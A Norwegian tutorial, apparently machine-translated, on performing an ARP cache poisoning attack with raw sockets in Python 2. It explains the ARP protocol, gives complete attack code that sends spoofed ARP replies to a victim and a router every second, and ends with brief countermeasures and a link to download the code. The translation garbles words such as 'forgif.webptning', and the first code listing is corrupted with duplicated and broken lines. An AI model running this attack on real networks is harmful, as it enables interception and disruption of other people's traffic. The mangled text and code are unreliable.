ARP -forgif.webptningsangrep med rå stikkontakter i Python

Innholdsfortegnelse

I dag skal jeg lære deg hvordan implementere et ARP -forgif.webptningsangrep (ARP cache forgif.webptning). For det Jeg vil bruke rå stikkontakter i python, målet er å se hvordan denne typen stikkontakter fungerer, at du lærer hvordan dette angrepet fungerer eller at du kan utføre tester på nettverket ditt (selv om det allerede er verktøy på nettverket for det), ikke at du bruker det for ondsinnet formål.

MerkMed scapy kan du implementere dette arbeidet raskere og enklere, men ved å se denne opplæringen vil du kunne bruke kunnskapen til å bruke biblioteket og gjøre det selv, hvis vi gjorde det omvendt ville det koste deg mer. Metoden som vises her fungerer bare på Linux -systemer.

Små detaljer du burde vite
ARPDet er adresseoppløsningsprotokollen som finnes på nettverkslaget. Målet er å finne MAC -adressen (fysisk adresse) som tilsvarer en bestemt IP -adresse (nettverksadresse).
ARP -cacherHver enhet har et lite minne der den lagrer MAC - IP -oversettelsene, vi skal dra nytte av dette i dette angrepet. Denne bufferen eksisterer fordi den unngår overhead for å be om oversettelse hver gang vi kobler til en annen enhet.

De ARP -protokolloperasjon Det er enkelt, når du sender en pakke til noen, blir enhetsbufferen sjekket, hvis det er den oversettelsen, vil det ta det å sende pakken, hvis det ikke er noen ARP, sender den en kringkastingspakke (den er spesiell, det er har destinasjons -MAC -adressen ff: ff: ff: ff: ff: ff), vil denne pakken nå alle enhetene i nettverket, og vil "spørre" hvem som har søkt IP -adressen, hver enhet ved å se den spesielle MACen vil lese pakken, og bare den med adressen Den søkte IP -en vil svare og angir MAC -en, i det øyeblikket vil den bli lagret i hurtigbufferen, for ikke å måtte spørre igjen i løpet av de neste minuttene.

De ARP forgif.webptningsangrep Den brukes til å spionere på dataene som passerer gjennom et nettverk, eller vi kan også bruke den slik at dataene ikke når destinasjonene den skal til. Dette angrepet består i å hele tiden sende ARP -pakker til nettverket som indikerer at vår MAC tilsvarer offerets IP og at vår MAC er assosiert med ruterens IP. Vi må sende pakkene hele tiden fordi det er en dynamisk protokoll, så hurtigbufferen endres, det kan være at oversettelsen slettes, den oppdateres med de virkelige dataene, så for å være sikker på at vi sender pakker hver lille gang, er de ikke veldig tung, så de vil normalt ikke overbelaste nettverket.

MerkARP er en protokoll som bare brukes i IPv4, derfor er dette angrepet ikke gyldig for IPv6, men forgif.webptningsangrepet kan utføres ved å dra nytte av en annen protokoll, for eksempel NDP, som brukes til å oppdage "naboer" i et nettverk .

For å starte vårt eksempel må vi kjenne offerets IP -adresser og routerens gateway, så vel som MAC -en, du kan bruke nmap til å oppdage de aktive enhetene i nettverket ditt, og MAC -en kan lett hentes, for eksempel Vi ønsker For å forgif.webpte hurtigbufferen til adressen 192.168.66.2, som vil være mitt offer (en virtuell maskin), vil jeg utføre følgende i cmd eller terminal:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-C og -n angir at bare en pakke skal sendes, hvert operativsystem har en annen parameter. Senere la vi:
 harpe
Det vil indikere ARP -cachen, derfor kan vi se oversettelsene vi har lagret (og etter å ha gjort en ping tidligere har vi allerede oversettelsen med offeret). Vi må gjøre det samme med routerens gateway:

Deretter skal jeg legge alle dataene vi trenger for å ha dem for hånden:

  • Offer -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Ruter -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Min PC -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Jeg legger hele koden og forklarer den nedenfor, den fungerer for Python i versjon 2.x, men med små endringer kan du tilpasse den til versjon 3.x:

 import socket import time, struct, binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "kode =" \ x08 \ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") macVictouterIngouter + MacVictouterHead = eth1 + MacVictouterCompartida + header ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Poisoning caches … to stop CTRL + C") while True: connection.send (arpRouter) connection.send ) time.sleep (1)
Det første vi gjør er å importere de nødvendige bibliotekene, som ikke trenger ytterligere forklaring. La oss fortsette med følgende linjer:
 tilkobling = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) tilkobling.bind (("ens33", socket.htons (0x0800)))
Den første linjen oppretter en stikkontakt med følgende egenskaper:
  • PF_PACKET: For å sende og motta pakker på et lavt nivå.
  • SOCK_RAW: For å bruke rå stikkontakter.
  • socket.htons (0x0800): 0x0800 vil definere ETH_P_IP -protokollen, ntohs -funksjonen konverterer nettverksformatet til byte i passende format for datamaskinen vår (s betyr kort, det vil si 16 bits, hvis den hadde en l, ville den være 32 bits).

Og den andre kommer til å stå for å sette kontakten for å "lytte":

  • ens33: det er nettverksgrensesnittet der vi skal jobbe, ditt kan være eth0, hvis du bruker en ifconfig vil du se det (se bildet nedenfor).
  • socket.htons (0x800): det samme som sagt før.

Linjene som vi ser nedenfor vil opprette Ethernet -overskriftene, for dette etablerer vi MAC -ene og koden (den vi setter tilhører ARP -protokollen), hvis du vil vite mer om Ethernet, klikk her:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" kode = "\ x08 \ x06" commonpackage = macSource + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage
Den neste delen av koden samler ARP -pakkene. For å konsultere strukturen kan du besøke følgende lenke og gå til pakkestrukturseksjonen. Operasjonskoden \ x00 \ x02 skal indikere at det er en responspakke (hvis det var 1 ville det vært en forespørsel), og funksjonen socket.inet_aton () konverterer en IPv4-adresse til 32-biters binært format. Som du har sett i den forrige koden og nå for å lage en pakke, er vi sammenkoplet delene.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + delt topptekst + ipRouter + macVictima + ipVictima arpRouter = eth2 + delt topptekst + ipVictima + macRouter + ipRouter
Den siste delen av koden viser en melding om at den fungerer og går inn i en uendelig sløyfe som vil sende pakker for å forgif.webpte offerets cacher og ruteren gateway, dette gjør det hvert sekund siden vi har sovet.
 print ("Poisoning caches … to stop CTRL + C") while True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
La oss se hvordan utførelsen av programmet ser ut (vi må kjøres som root -bruker):

Og hvis vi ser på offerets cache, kan vi se at IP -adressen hans nå er knyttet til angriperens MAC:

Motforanstaltninger

  • Bruk statiske ARP -tabeller, vi legger til oppføringene for hånd, og vi lar dem ikke variere.
  • Rådføre Omvendt ARP, vil denne protokollen returnere IP -adressen fra en MAC, så hvis den returnerer mer enn én IP -adresse, er det sannsynlig at vi har blitt forfalsket.

Disse tiltakene krever et minimum av kunnskap, så ikke alle vil være i stand til å utføre det, men ved å konsultere vår IT -sikkerhetsspørsmål eller opplæringsdel vil du sikkert finne hjelp.

Hvis du vil ha koden, her er en zip:

Last ned kode ArpPoisoning.zip 579 byte 116 Nedlastinger

Likte og hjalp du denne opplæringen?Du kan belønne forfatteren ved å trykke på denne knappen for å gi ham et positivt poeng
wave wave wave wave wave